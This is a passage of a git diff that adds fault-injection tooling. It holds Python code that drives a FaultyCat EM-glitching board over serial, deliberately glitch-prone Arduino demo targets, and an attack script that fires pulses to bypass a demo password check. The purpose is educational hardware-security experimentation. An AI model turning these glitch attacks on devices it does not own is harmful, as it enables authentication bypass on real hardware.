print("Configuring the FaultyCat...") + table_config = Table(title="Board configuration") + table_config.add_column("Parameter", style="cyan") + table_config.add_column("Value", style="magenta") + table_config.add_row( + "Serial port", f"{self.faulty_worker.board_uart.serial_worker.port}" + ) + table_config.add_row( + "Pulse time", + f"{self.faulty_worker.board_configurator.BOARD_CONFIG['pulse_time']}", + ) + table_config.add_row( + "Pulse power", + f"{self.faulty_worker.board_configurator.BOARD_CONFIG['pulse_power']}", + ) + table_config.add_row("Pulse count", f"{self.faulty_worker.pulse_count}") + Console().print(table_config) + + def do_set(self, args): + """Set a parameter.""" + print("Setting a parameter...") + args_list = args.split() + if args == "help" or args == "?": + print("Available parameters:") + print("\t[time] pulse_time") + print("\t[count] pulse_count") + print("\tport") + return + + if len(args_list) != 2: + print("Invalid number of arguments.") + return + + if args_list[0] == "pulse_time" or args_list[0] == "time": + self.faulty_worker.set_pulse_time(is_valid_number(float(args_list[1]))) + + if args_list[0] == "pulse_count" or args_list[0] == "count": + self.faulty_worker.set_pulse_count(is_valid_number(int(args_list[1]))) + + if args_list[0] == "port": + self.faulty_worker.set_serial_port(args_list[1]) + if not self.faulty_worker.validate_serial_connection(): + typer.secho("Invalid serial port.", fg=typer.colors.BRIGHT_RED) + return + + self.do_config(args) + + def do_start(self, args): + """Start the FaultyCat.""" + print("Starting the FaultyCat...") + self.faulty_worker.start_faulty_attack() + + def do_exit(self, line): + """Exit the CLI.""" + return True diff --git a/FaultInjection/prereqs/FaultyCat/Modules/ConfigBoard.py b/FaultInjection/prereqs/FaultyCat/Modules/ConfigBoard.py new file mode 100644 index 0000000..f795f79 --- /dev/null +++ b/FaultInjection/prereqs/FaultyCat/Modules/ConfigBoard.py @@ -0,0 +1,61 @@ +from enum import Enum + +class Commands(Enum): + COMMAND_HELP = "h" + COMMAND_ARM = "a" + COMMAND_DISARM = "d" + COMMAND_PULSE = "p" + COMMAND_ENABLE_TIMEOUT = "en" + COMMAND_DISABLE_TIMEOUT = "di" + COMMAND_FAST_TRIGGER = "f" + COMMAND_FAST_TRIGGER_CONF = "fa" + COMMAND_INTERNAL_HVP = "ih" + COMMAND_EXTERNAL_HVP = "eh" + COMMAND_CONFIGURE = "c" + COMMAND_TOGGLE_GPIO = "t" + COMMAND_STATUS = "s" + COMMAND_RESET = "r" + + def __str__(self): + return self.value + +class BoardStatus(Enum): + STATUS_ARMED = "armed" + STATUS_DISARMED = "disarmed" + STATUS_CHARGED = "charged" + STATUS_PULSE = "pulsed" + STATUS_NOT_CHARGED = "Not Charged" + STATUS_TIMEOUT_ACTIVE = "Timeout active" + STATUS_TIMEOUT_DEACT = "Timeout deactivated" + STATUS_HVP_INTERVAL = "HVP interval" + + def __str__(self): + return self.value + + @classmethod + def get_status_by_value(cls, value): + for status in cls.__members__.values(): + if status.value == value: + return status + return None + +class ConfigBoard: + BOARD_CONFIG = { + "pulse_time" : 1.0, + "pulse_power": 0.012200, + "pulse_count": 1, + "port" : "COM1" + } + def __init__(self) -> None: + self.board_config = ConfigBoard.BOARD_CONFIG + self.board_commands = Commands + + def get_config(self) -> dict: + return self.board_config + + def set_config(self, config: dict) -> None: + self.board_config = config + + def __str__(self) -> str: + return f"Board config: {self.board_config}" + \ No newline at end of file diff --git a/FaultInjection/prereqs/FaultyCat/Modules/UART.py b/FaultInjection/prereqs/FaultyCat/Modules/UART.py new file mode 100644 index 0000000..3fd677f --- /dev/null +++ b/FaultInjection/prereqs/FaultyCat/Modules/UART.py @@ -0,0 +1,97 @@ +import platform +import serial +import time +import serial.tools.list_ports +import threading + +from .ConfigBoard import BoardStatus + +if platform.system() == "Windows": + DEFAULT_COMPORT = "COM1" +else: + DEFAULT_COMPORT = "/dev/ttyACM0" + +DEFAULT_SERIAL_BAUDRATE = 921600 + +class UART(threading.Thread): + def __init__(self, serial_port: str = DEFAULT_COMPORT): + self.serial_worker = serial.Serial() + self.serial_worker.port = serial_port + self.serial_worker.baudrate = DEFAULT_SERIAL_BAUDRATE + self.recv_cancel = False + #self.daemon = True + + def __del__(self): + self.serial_worker.close() + + def __str__(self): + return f"Serial port: {self.serial_worker.port}" + + def set_serial_port(self, serial_port: str): + self.serial_worker.port = serial_port + + def set_serial_baudrate(self, serial_baudrate: int): + self.serial_worker.baudrate = serial_baudrate + + def is_valid_connection(self) -> bool: + try: + self.open() + self.close() + return True + except serial.SerialException as e: + return False + + def get_serial_ports(self): + return serial.tools.list_ports.comports() + + def reset_buffer(self): + self.serial_worker.reset_input_buffer() + self.serial_worker.reset_output_buffer() + + def cancel_recv(self): + self.recv_cancel = True + + def open(self): + self.serial_worker.open() + self.reset_buffer() + + def close(self): + self.reset_buffer() + self.serial_worker.close() + + def is_connected(self): + return self.serial_worker.is_open + + def send(self, data): + self.serial_worker.write(data) + self.serial_worker.write(b"\n\r") + self.serial_worker.flush() + + def recv(self): + if not self.is_connected(): + self.open() + try: + while not self.recv_cancel: + time.sleep(0.1) + + bytestream = self.serial_worker.readline() + if self.recv_cancel: + self.recv_cancel = False + return None + return bytestream + except serial.SerialException as e: + print(e) + return None + except KeyboardInterrupt: + self.recv_cancel = True + return None + + def send_recv(self, data): + self.send(data) + return self.recv() + + def stop_worker(self): + self.recv_cancel = True + self.reset_buffer() + self.close() + self.join() \ No newline at end of file diff --git a/FaultInjection/prereqs/FaultyCat/Modules/Worker.py b/FaultInjection/prereqs/FaultyCat/Modules/Worker.py new file mode 100644 index 0000000..0bb2e54 --- /dev/null +++ b/FaultInjection/prereqs/FaultyCat/Modules/Worker.py @@ -0,0 +1,68 @@ +import threading +import time +import typer +from rich.console import Console +from rich.table import Table + +from .UART import UART +from .ConfigBoard import ConfigBoard + +class FaultyWorker(threading.Thread): + def __init__(self): + super().__init__() + #self.daemon = True + self.workers = [] + self.board_uart = UART() + self.board_configurator = ConfigBoard() + self.pulse_count = self.board_configurator.BOARD_CONFIG["pulse_count"] + self.pulse_time = self.board_configurator.BOARD_CONFIG["pulse_time"] + + def add_worker(self, worker): + self.workers.append(worker) + + def stop_workers(self): + for worker in self.workers: + worker.join() + + def run_workers(self): + for worker in self.workers: + worker.start() + + def set_serial_port(self, serial_port): + self.board_uart.set_serial_port(serial_port) + + def validate_serial_connection(self): + return self.board_uart.is_valid_connection() + + def set_pulse_count(self, pulse_count): + self.pulse_count = pulse_count + self.board_configurator.BOARD_CONFIG["pulse_count"] = pulse_count + + def set_pulse_time(self, pulse_time): + self.pulse_time = pulse_time + self.board_configurator.BOARD_CONFIG["pulse_time"] = pulse_time + + def start_faulty_attack(self): + try: + self.board_uart.open() + time.sleep(0.1) + typer.secho("Board connected.", fg=typer.colors.GREEN) + typer.secho("[*] ARMING BOARD, BE CAREFULL!", fg=typer.colors.BRIGHT_YELLOW) + self.board_uart.send(self.board_configurator.board_commands.COMMAND_DISARM.value.encode("utf-8")) + time.sleep(1) + self.board_uart.send(self.board_configurator.board_commands.COMMAND_ARM.value.encode("utf-8")) + + typer.secho("[*] ARMED BOARD.", fg=typer.colors.BRIGHT_GREEN) + time.sleep(1) + typer.secho(f"[*] SENDING {self.pulse_count} PULSES.", fg=typer.colors.BRIGHT_GREEN) + for i in range(self.pulse_count): + typer.secho(f"\t- SENDING PULSE {i+1} OF {self.pulse_count}.", fg=typer.colors.BRIGHT_GREEN) + self.board_uart.send(self.board_configurator.board_commands.COMMAND_PULSE.value.encode("utf-8")) + time.sleep(self.pulse_time) + + typer.secho("DISARMING BOARD.", fg=typer.colors.BRIGHT_YELLOW) + self.board_uart.send(self.board_configurator.board_commands.COMMAND_DISARM.value.encode("utf-8")) + self.board_uart.close() + typer.secho("BOARD DISARMING.", fg=typer.colors.BRIGHT_YELLOW) + except Exception as e: + typer.secho(f"Error: {e}", fg=typer.colors.BRIGHT_RED) \ No newline at end of file diff --git a/FaultInjection/prereqs/FaultyCat/Modules/__init__.py b/FaultInjection/prereqs/FaultyCat/Modules/__init__.py new file mode 100644 index 0000000..e69de29 --- /dev/null +++ b/FaultInjection/prereqs/FaultyCat/Modules/__init__.py diff --git a/FaultInjection/prereqs/FaultyCat/Modules/__pycache__/CmdInterface.cpython-37.pyc b/FaultInjection/prereqs/FaultyCat/Modules/__pycache__/CmdInterface.cpython-37.pyc new file mode 100644 index 0000000..f503922 --- /dev/null +++ b/FaultInjection/prereqs/FaultyCat/Modules/__pycache__/CmdInterface.cpython-37.pyc Binary files differ diff --git a/FaultInjection/prereqs/FaultyCat/Modules/__pycache__/ConfigBoard.cpython-37.pyc b/FaultInjection/prereqs/FaultyCat/Modules/__pycache__/ConfigBoard.cpython-37.pyc new file mode 100644 index 0000000..b36d3c6 --- /dev/null +++ b/FaultInjection/prereqs/FaultyCat/Modules/__pycache__/ConfigBoard.cpython-37.pyc Binary files differ diff --git a/FaultInjection/prereqs/FaultyCat/Modules/__pycache__/UART.cpython-37.pyc b/FaultInjection/prereqs/FaultyCat/Modules/__pycache__/UART.cpython-37.pyc new file mode 100644 index 0000000..34c38f2 --- /dev/null +++ b/FaultInjection/prereqs/FaultyCat/Modules/__pycache__/UART.cpython-37.pyc Binary files differ diff --git a/FaultInjection/prereqs/FaultyCat/Modules/__pycache__/Worker.cpython-37.pyc b/FaultInjection/prereqs/FaultyCat/Modules/__pycache__/Worker.cpython-37.pyc new file mode 100644 index 0000000..a34e25d --- /dev/null +++ b/FaultInjection/prereqs/FaultyCat/Modules/__pycache__/Worker.cpython-37.pyc Binary files differ diff --git a/FaultInjection/prereqs/FaultyCat/Modules/__pycache__/__init__.cpython-37.pyc b/FaultInjection/prereqs/FaultyCat/Modules/__pycache__/__init__.cpython-37.pyc new file mode 100644 index 0000000..127e108 --- /dev/null +++ b/FaultInjection/prereqs/FaultyCat/Modules/__pycache__/__init__.cpython-37.pyc Binary files differ diff --git a/FaultInjection/prereqs/FaultyCat/faultycmd.py b/FaultInjection/prereqs/FaultyCat/faultycmd.py new file mode 100644 index 0000000..3831eec --- /dev/null +++ b/FaultInjection/prereqs/FaultyCat/faultycmd.py @@ -0,0 +1,133 @@ +import typer +import platform +import signal +import threading +import sys +from rich.console import Console +from rich.table import Table + +from Modules import CmdInterface +from Modules.CmdInterface import is_valid_number +from Modules import Worker + +if platform.system() == "Windows": + DEFAULT_COMPORT = "COM1" +else: + DEFAULT_COMPORT = "/dev/ttyACM0" + + +app = typer.Typer( + name="FaultyCat", + help="Script to control the FaultyCat and launch faulty attacks.", + add_completion=False, + no_args_is_help=True, +) + +faulty_worker = Worker.FaultyWorker() +workers = [] + + +def signal_handler(sig, frame): + print("You pressed Ctrl+C!") + faulty_worker.stop_workers() + for work in workers: + work.join() + sys.exit(0) + + +@app.command("config") +def config(): + """Get the current configuration of the FaultyCat.""" + table_config = Table(title="Board configuration") + table_config.add_column("Parameter", style="cyan") + table_config.add_column("Value", style="magenta") + table_config.add_row( + "Pulse time", f"{faulty_worker.board_configurator.BOARD_CONFIG['pulse_time']}" + ) + table_config.add_row( + "Pulse power", f"{faulty_worker.board_configurator.BOARD_CONFIG['pulse_power']}" + ) + + Console().print(table_config) + + +@app.command("devices") +def devices(): + """Get the list of available devices.""" + table_devices = Table(title="Available devices") + table_devices.add_column("Device", style="cyan") + table_devices.add_column("Description", style="magenta") + for device in faulty_worker.board_uart.get_serial_ports(): + table_devices.add_row(f"{device.device}", f"{device.description}") + + Console().print(table_devices) + + +@app.command("fault") +def faulty( + comport: str = typer.Argument( + default=DEFAULT_COMPORT, + help="Serial port to use for uploading.", + ), + pulse_count: int = typer.Option( + 1, "--pulse-count", "-p", help="Number of pulses to send.", show_default=True + ), + pulse_timeout: float = typer.Option( + 1.0, + "--pulse-timeout", + "-t", + help="Time in seconds between pulses.", + show_default=True, + ), + cmd: bool = typer.Option( + False, "--cmd", "-c", help="Launch the CMD Interface.", show_default=True + ), +): + """Setting up the FaultyCat. With this command you can configure the FaultyCat and launch faulty attacks.""" + typer.echo("Configuring the FaultyCat...") + table_config = Table(title="Board configuration") + table_config.add_column("Parameter", style="cyan") + table_config.add_column("Value", style="magenta") + table_config.add_row("Serial port", f"{comport}") + table_config.add_row( + "Pulse time", f"{faulty_worker.board_configurator.BOARD_CONFIG['pulse_time']}" + ) + table_config.add_row( + "Pulse power", f"{faulty_worker.board_configurator.BOARD_CONFIG['pulse_power']}" + ) + table_config.add_row("Pulse count", f"{pulse_count}") + table_config.add_row("Pulse timeout", f"{pulse_timeout}") + + Console().print(table_config) + + faulty_worker.set_serial_port(comport) + + if cmd: + CmdInterface.CMDInterface(faulty_worker).cmdloop() + return + + if not faulty_worker.validate_serial_connection(): + typer.secho( + f"FaultyCMD could not stablish connection withe the board on: {comport}.", + fg=typer.colors.RED, + ) + return + + faulty_worker.set_pulse_count(is_valid_number(pulse_count)) + faulty_worker.set_pulse_time(is_valid_number(pulse_timeout)) + + faulty_worker.start_faulty_attack() + + +if __name__ == "__main__": + print( + """\x1b[36;1m +.@@@%@*%+ -@@+ #@@: @@% =@@@@%- %@% %+ @= | +.@@-.-.#@+=@@* %@@- .@@@.@@%:@@@ @@@ %+ :+++- @*+++- | FaultyCat v0.0.1 +.@*.=.+@@:=@@* %@@- .@@@.@@% @@@ @@@ %+ #%:.:## @%:.:## | by JahazielLem +.@@%*+*=. :@@%==@@@#-*@@#.@@% @@@-@@@ %+ @+ =@.@+ =@. | Company: PWNLabs - Electronics Cats +%@% :#@@@%*#@@@%+ %@* :#@@@#: =%#**=.*####@..*####: | +\x1b[0m""" + ) + signal.signal(signal.SIGINT, signal_handler) + app() diff --git a/FaultInjection/prereqs/FaultyCat/requirements.txt b/FaultInjection/prereqs/FaultyCat/requirements.txt new file mode 100644 index 0000000..5ffdc64 --- /dev/null +++ b/FaultInjection/prereqs/FaultyCat/requirements.txt @@ -0,0 +1,9 @@ +click==8.1.7 +colorama +markdown-it-py +mdurl +Pygments==2.17.2 +pyserial +rich==13.7.0 +typer==0.9.0 +typing_extensions diff --git a/FaultInjection/README.md b/FaultInjection/README.md new file mode 100644 index 0000000..3c9e6b2 --- /dev/null +++ b/FaultInjection/README.md @@ -0,0 +1,4 @@ +Fault Injection +=============== + +Dump of useful fault injection / glitching scripts and examples \ No newline at end of file diff --git a/FaultInjection/examples/FaultyCat/01_simple_restart/cause_restart.png b/FaultInjection/examples/FaultyCat/01_simple_restart/cause_restart.png new file mode 100644 index 0000000..41bfaca --- /dev/null +++ b/FaultInjection/examples/FaultyCat/01_simple_restart/cause_restart.png Binary files differ diff --git a/FaultInjection/examples/FaultyCat/01_simple_restart/example_v1.0.ino b/FaultInjection/examples/FaultyCat/01_simple_restart/example_v1.0.ino new file mode 100644 index 0000000..abd3514 --- /dev/null +++ b/FaultInjection/examples/FaultyCat/01_simple_restart/example_v1.0.ino @@ -0,0 +1,16 @@ +#include <SoftwareSerial.h> + +#define RX 3 // *** D3, Pin 2 +#define TX 4 // *** D4, Pin 3 +SoftwareSerial Serial(RX, TX); + +void setup(){ + Serial.begin(9600); + Serial.println("Initializing..."); +} + +void loop() { + // put your main code here, to run repeatedly: + Serial.println("running"); + delay(1000); +} diff --git a/FaultInjection/examples/FaultyCat/01_simple_restart/example_v1.2_pretty.ino b/FaultInjection/examples/FaultyCat/01_simple_restart/example_v1.2_pretty.ino new file mode 100644 index 0000000..8ae9bee --- /dev/null +++ b/FaultInjection/examples/FaultyCat/01_simple_restart/example_v1.2_pretty.ino @@ -0,0 +1,37 @@ +#include <SoftwareSerial.h> + +#define RX 3 // *** D3, Pin 2 +#define TX 4 // *** D4, Pin 3 +SoftwareSerial Serial(RX, TX); + +void setup() { + Serial.begin(9600); + Serial.println(" "); + Serial.println("Initializing..."); + delay(2000); // Delay to give time for the setup message +} + +void loop() { + static int dotCount = 0; // Keeps track of how many dots are printed + + // Create the base "running" message followed by spaces to clear previous dots + Serial.print("running"); + + // Add the appropriate number of dots + for (int i = 0; i < dotCount; i++) { + Serial.print("."); + } + + // Clear any extra dots from previous loops by adding spaces + for (int i = dotCount; i < 3; i++) { + Serial.print(" "); + } + + // Use carriage return to overwrite the line on the next iteration + Serial.print("\r"); + + // Update the dot count, cycling from 0 to 3 + dotCount = (dotCount + 1) % 4; // Cycles through 0, 1, 2, 3 dots + + delay(1000); // 1-second delay before updating +} diff --git a/FaultInjection/examples/FaultyCat/02_match_numbers/example_v2.0.ino b/FaultInjection/examples/FaultyCat/02_match_numbers/example_v2.0.ino new file mode 100644 index 0000000..e9ffa78 --- /dev/null +++ b/FaultInjection/examples/FaultyCat/02_match_numbers/example_v2.0.ino @@ -0,0 +1,62 @@ +#include <SoftwareSerial.h> + +#define RX 3 // *** D3, Pin 2 +#define TX 4 // *** D4, Pin 3 +SoftwareSerial Serial(RX, TX); + +void setup() { + Serial.begin(9600); + Serial.println(" "); + Serial.println("Initializing..."); + randomSeed(analogRead(0)); // Seed the random number generator for more randomness + delay(2000); // Delay for initialization +} + +void loop() { + // Generate one random number and assign it to both variables + volatile int originalNumber = random(10, 100); + volatile int num1 = originalNumber; + volatile int num2 = originalNumber; + + // Perform reversible operations to increase glitch susceptibility but keep values comparable + num1 = num1 ^ 0x55; // XOR num1 with 0x55 + num2 = num2 ^ 0x55; // XOR num2 with 0x55 + + delayMicroseconds(5); // Critical timing for glitches + + num1 = num1 ^ 0x55; // XOR again to reverse + num2 = num2 ^ 0x55; // XOR again to reverse + + delayMicroseconds(5); // Another critical timing for glitches + + // Extract the first and second digits + volatile int num1FirstDigit = num1 / 10; // Get the first digit of num1 + volatile int num1SecondDigit = num1 % 10; // Get the second digit of num1 + + delayMicroseconds(5); // More chances for glitches + + volatile int num2FirstDigit = num2 / 10; // Get the first digit of num2 + volatile int num2SecondDigit = num2 % 10; // Get the second digit of num2 + + delayMicroseconds(5); // Increased vulnerability + + // Check if the numbers still match after the potential glitch + int match = 0; + if (num1FirstDigit == num2FirstDigit) { + if (num1SecondDigit == num2SecondDigit) { + match = 1; + } + } + + if (match == 1) { + Serial.print("Numbers match: "); Serial.print(num1); Serial.print(" "); Serial.print(num2); Serial.print("\r"); + } else { + Serial.print("Glitch detected! Numbers do not match: "); + Serial.print(num1); Serial.print(" "); Serial.print(num2); + Serial.print(" ("); Serial.print(num1FirstDigit); Serial.print(":"); Serial.print(num1SecondDigit); Serial.print(") "); + Serial.print("("); Serial.print(num2FirstDigit); Serial.print(":"); Serial.print(num2SecondDigit); Serial.println(")"); + Serial.println(" "); + } + + delay(100); // Shorter delay to increase glitch detection chances +} diff --git a/FaultInjection/examples/FaultyCat/02_match_numbers/no_match.png b/FaultInjection/examples/FaultyCat/02_match_numbers/no_match.png new file mode 100644 index 0000000..184f47e --- /dev/null +++ b/FaultInjection/examples/FaultyCat/02_match_numbers/no_match.png Binary files differ diff --git a/FaultInjection/examples/FaultyCat/03_password_check/attack.py b/FaultInjection/examples/FaultyCat/03_password_check/attack.py new file mode 100644 index 0000000..5855b9c --- /dev/null +++ b/FaultInjection/examples/FaultyCat/03_password_check/attack.py @@ -0,0 +1,200 @@ +import sys +import time +import pexpect # Required to handle screen sessions +import threading +from Modules import Worker + +DEFAULT_COMPORT = "/dev/ttyACM0" +SCREEN_NAME = "ttyUSB0_screen" # Replace this with the actual screen session name + +# Initialize the FaultyWorker +faulty_worker = Worker.FaultyWorker() +# Shared variable to store the response from the device +device_response = None +child = None # Global child variable + +def initialize_child(): + """Initialize the global child process for the screen session.""" + global child + child = pexpect.spawn(f'screen -x {SCREEN_NAME}', encoding='utf-8') + child.expect(pexpect.TIMEOUT, timeout=1) # Clear out any pre-existing buffer + +def send_test_message_and_read_response(): + """Send 'ping' via screen to a serial device and check for 'correct!\\n' or 'incorrect\\n'.""" + global child + + # Send 'ping' to the screen session + child.sendline("ping") + sys.stdout.write("\rSent 'ping' to screen session.") + sys.stdout.flush() + + # Wait a bit to ensure the command is processed + time.sleep(0.5) + + # Try reading any new output from the screen session + try: + response = child.read_nonblocking(size=1024, timeout=2) # Read up to 1024 bytes of new data + if "pong" in response: + sys.stdout.write("\rReceived 'pong' response.") + return True + else: + sys.stdout.write(f"\rReceived unexpected response: {response}") + sys.stdout.flush() + except pexpect.exceptions.TIMEOUT: + sys.stdout.write("\rNo response received from the screen session (timeout).") + sys.stdout.flush() + + return False + +def read_screen_output(): + """Read output from the screen session in a separate thread.""" + global device_response + buffer = "" # Initialize a buffer to store incoming characters + + try: + while True: + response = child.read_nonblocking(size=1024, timeout=2) # Read up to 1024 bytes of new data + buffer += response # Append the new response to the buffer + + # Check if there's a complete line in the buffer + while "\n" in buffer: + line, buffer = buffer.split("\n", 1) # Split the buffer at the first newline + line = line.strip() # Remove any leading/trailing whitespace + + # Check for specific responses + if "incorrect!" in line: + #sys.stdout.write("\rReceived 'incorrect' response.") + device_response = 'incorrect' + return # Exit the loop on incorrect response + elif "correct" in line: + # Die here: Echo message, disarm device, and kill the program + sys.stdout.write("\nReceived 'correct' response.\n PWNT, U R ADMIN\n Disarming the device and exiting...\n") + sys.stdout.flush() + + # Disarm the board + faulty_worker.board_uart.send(faulty_worker.board_configurator.board_commands.COMMAND_DISARM.value.encode("utf-8")) + faulty_worker.board_uart.close() + + # Exit the program + sys.exit(0) + + else: + sys.stdout.write(f"\rReceived unexpected response: {line}") + sys.stdout.flush() + + except pexpect.exceptions.TIMEOUT: + sys.stdout.write("\rNo response received from the screen session (timeout).") + sys.stdout.flush() + except Exception as e: + sys.stdout.write(f"\rError reading from screen session: {e}") + sys.stdout.flush() + +def send_pulse_and_check_response(): + """Send a pulse and check for 'correct!\\n' or 'incorrect\\n' response in parallel.""" + global device_response + try: + # Wait a bit to ensure the command is processed + + + # Send 'incorrectPassword' command to the screen session + sys.stdout.write("\rSending 'incorrectPassword' to screen session.") + sys.stdout.flush() + child.sendline("incorrectPassword") + + time.sleep(0.35) + + # Send 'pulse' command (simulating the pulse trigger) + faulty_worker.board_uart.send(faulty_worker.board_configurator.board_commands.COMMAND_PULSE.value.encode("utf-8")) + sys.stdout.write("\rSent pulse...") + sys.stdout.flush() + + # Start a thread to read the screen output + reader_thread = threading.Thread(target=read_screen_output) + reader_thread.start() + + # Wait for the reading thread to complete + reader_thread.join() + + except Exception as e: + sys.stdout.write(f"\rError interacting with screen session during pulse: {e}") + sys.stdout.flush() + return False + +def start_faulty_attack(): + """Send a pulse through the FaultyCat and listen for the response concurrently.""" + global child + try: + # Initialize the child process for screen session + initialize_child() + + # Open FaultyCat connection + faulty_worker.board_uart.open() + time.sleep(0.1) + sys.stdout.write("\rBoard connected.\n") + sys.stdout.flush() + + # Arming the board + sys.stdout.write("\r[*] ARMING BOARD, BE CAREFUL!\n") + sys.stdout.flush() + faulty_worker.board_uart.send(faulty_worker.board_configurator.board_commands.COMMAND_DISARM.value.encode("utf-8")) + time.sleep(1) + faulty_worker.board_uart.send(faulty_worker.board_configurator.board_commands.COMMAND_ARM.value.encode("utf-8")) + + sys.stdout.write("\r[*] ARMED BOARD.\n") + sys.stdout.flush() + time.sleep(1) + + # Sending pulses and checking responses in a loop (up to 5 times) + max_iterations = 5 + for i in range(max_iterations): + sys.stdout.write(f"\rLoop {i+1}/{max_iterations}: Sending pulse and checking response.\n") + sys.stdout.flush() + + # Send the test message and check for pong + if send_test_message_and_read_response(): + + max_iterations_2 = 3 + for j in range(max_iterations_2): + # Send pulse and check for correct/incorrect response + if send_pulse_and_check_response(): + break # Break the loop if 'correct!' is received + + # Small delay before next iteration + time.sleep(1) + + # Disarm the board + sys.stdout.write("\rDISARMING BOARD. \n") + sys.stdout.flush() + faulty_worker.board_uart.send(faulty_worker.board_configurator.board_commands.COMMAND_DISARM.value.encode("utf-8")) + faulty_worker.board_uart.close() + sys.stdout.write("\rBOARD DISARMED.\n") + sys.stdout.flush() + except Exception as e: + sys.stdout.write(f"\rError: {e}\n") + sys.stdout.flush() + finally: + # Make sure to clean up the child process + if child: + child.close() + +def faulty(): + """Configure and send pulses through the FaultyCat.""" + comport = DEFAULT_COMPORT + + print("Configuring the FaultyCat...") + print(f"Using serial port: {comport}") + + # Set the serial port + faulty_worker.set_serial_port(comport) + + # Validate the serial connection + if not faulty_worker.validate_serial_connection(): + print(f"Error: Could not establish connection on: {comport}") + return + + # Start the faulty attack (send pulse) + start_faulty_attack() + +if __name__ == "__main__": + print("Starting FaultyCat...") + faulty() diff --git a/FaultInjection/examples/FaultyCat/03_password_check/example_v3.0.ino b/FaultInjection/examples/FaultyCat/03_password_check/example_v3.0.ino new file mode 100644 index 0000000..ec5db1f --- /dev/null +++ b/FaultInjection/examples/FaultyCat/03_password_check/example_v3.0.ino @@ -0,0 +1,83 @@ +#include <SoftwareSerial.h> + +#define RX 3 // *** D3, Pin 2 +#define TX 4 // *** D4, Pin 3 +SoftwareSerial Serial(RX, TX); + +const String correctPassword = "secure123"; // Hardcoded password +String inputString = ""; // Variable to hold user input +bool stringComplete = false; // Flag to indicate when a string is complete +bool loggedIn = false; + +void setup() { + Serial.begin(9600); + Serial.println(" "); + Serial.println("Initializing..."); + delay(200); // Delay for initialization + Serial.print("[-]> "); +} + +void prompt(){ + // Reset for the next input without checking password + inputString = ""; + stringComplete = false; + if(loggedIn == false){ + Serial.print("[-]"); // not logged in + }else{ + Serial.print("[+]"); // logged in + } + Serial.print("> "); +} + +void loop() { + // If the string is complete, process the input + if (stringComplete) { + // Glitch-prone section: making the comparison more complex and glitch-susceptible + volatile bool match = false; // Using 'volatile' to increase glitch vulnerability + + // Introduce some artificial delays (vulnerable points for glitching) + for (volatile int i = 0; i < 100; i++) { + delayMicroseconds(1); // Short delay to give more opportunity for glitches + } + + // Dummy operation: XOR password with itself (reversible) before comparison + volatile String tempPassword = correctPassword; + for (int i = 0; i < tempPassword.length(); i++) { + tempPassword[i] ^= 0xFF; // XOR with 0xFF (dummy operation to increase complexity) + tempPassword[i] ^= 0xFF; // XOR back to restore original password + } + + // Check if input is "ping" + if (inputString == "ping") { + Serial.println("pong"); // Respond with "pong" if input is "ping" + prompt(); + return; // Exit the loop to avoid further processing (no "Password incorrect!" after "pong") + } + // Now compare the user input with the hardcoded password, but with timing window + else if (inputString == correctPassword) { + match = true; // Passwords match + } + + // Add a chance for glitches to affect this critical condition + if (match) { + Serial.println("Password correct!"); + loggedIn = true; + } else { + Serial.println("Password incorrect!"); + } + prompt(); + } + + // Listen for input from the user + while (Serial.available()) { + char inChar = (char)Serial.read(); // Read the incoming character + + // Check if it is the return character (indicating the end of input) + if (inChar == '\r' || inChar == '\n') { + stringComplete = true; + } else { + // Append the character to the input string + inputString += inChar; + } + } +} diff --git a/FaultInjection/examples/FaultyCat/03_password_check/pass_correct_01.png b/FaultInjection/examples/FaultyCat/03_password_check/pass_correct_01.png new file mode 100644 index 0000000..05d97a6 --- /dev/null +++ b/FaultInjection/examples/FaultyCat/03_password_check/pass_correct_01.png Binary files differ diff --git a/FaultInjection/prereqs/FaultyCat/Modules/CmdInterface.py b/FaultInjection/prereqs/FaultyCat/Modules/CmdInterface.py new file mode 100644 index 0000000..0aacecf --- /dev/null +++ b/FaultInjection/prereqs/FaultyCat/Modules/CmdInterface.py @@ -0,0 +1,80 @@ +import cmd +import typer +from rich.console import Console +from rich.table import Table + + +def is_valid_number(number): + if number < 0: + raise typer.BadParameter("Number must be positive.") + return number + +class CMDInterface(cmd.Cmd): + intro = "Type help or ? to list commands.\n" + prompt = "?> " + file = None + doc_header = "Commands" + misc_header = "Misc Commands" + undoc_header = "Undocumented Commands" + + def __init__(self, faulty_worker): + super().__init__() + self.faulty_worker = faulty_worker + + def do_config(self, args): + """Configure the FaultyCat.""" + print("Configuring the FaultyCat...") + table_config = Table(title="Board configuration") + table_config.add_column("Parameter", style="cyan") + table_config.add_column("Value", style="magenta") + table_config.add_row( + "Serial port", f"{self.faulty_worker.board_uart.serial_worker.port}" + ) + table_config.add_row( + "Pulse time", + f"{self.faulty_worker.board_configurator.BOARD_CONFIG['pulse_time']}", + ) + table_config.add_row( + "Pulse power", + f"{self.faulty_worker.board_configurator.BOARD_CONFIG['pulse_power']}", + ) + table_config.add_row("Pulse count", f"{self.faulty_worker.pulse_count}") + Console().print(table_config) + + def do_set(self, args): + """Set a parameter.""" + print("Setting a parameter...") + args_list = args.split() + if args == "help" or args == "?": + print("Available parameters:") + print("\t[time] pulse_time") + print("\t[count] pulse_count") + print("\tport") + return + + if len(args_list) != 2: + print("Invalid number of arguments.") + return + + if args_list[0] == "pulse_time" or args_list[0] == "time": + self.faulty_worker.set_pulse_time(is_valid_number(float(args_list[1]))) + + if args_list[0] == "pulse_count" or args_list[0] == "count": + self.faulty_worker.set_pulse_count(is_valid_number(int(args_list[1]))) + + if args_list[0] == "port": + self.faulty_worker.set_serial_port(args_list[1]) + if not self.faulty_worker.validate_serial_connection(): + typer.secho("Invalid serial port.", fg=typer.colors.BRIGHT_RED) + return + + self.do_config(args) + + def do_start(self, args): + """Start the FaultyCat.""" + print("Starting the FaultyCat...") + self.faulty_worker.start_faulty_attack() + + def do_exit(self, line): + """Exit the CLI.""" + return True diff --git a/FaultInjection/prereqs/FaultyCat/Modules/ConfigBoard.py b/FaultInjection/prereqs/FaultyCat/Modules/ConfigBoard.py new file mode 100644 index 0000000..f795f79 --- /dev/null +++ b/FaultInjection/prereqs/FaultyCat/Modules/ConfigBoard.py @@ -0,0 +1,61 @@ +from enum import Enum + +class Commands(Enum): + COMMAND_HELP = "h" + COMMAND_ARM = "a" + COMMAND_DISARM = "d" + COMMAND_PULSE = "p" + COMMAND_ENABLE_TIMEOUT = "en" + COMMAND_DISABLE_TIMEOUT = "di" + COMMAND_FAST_TRIGGER = "f" + COMMAND_FAST_TRIGGER_CONF = "fa" + COMMAND_INTERNAL_HVP = "ih" + COMMAND_EXTERNAL_HVP = "eh" + COMMAND_CONFIGURE = "c" + COMMAND_TOGGLE_GPIO = "t" + 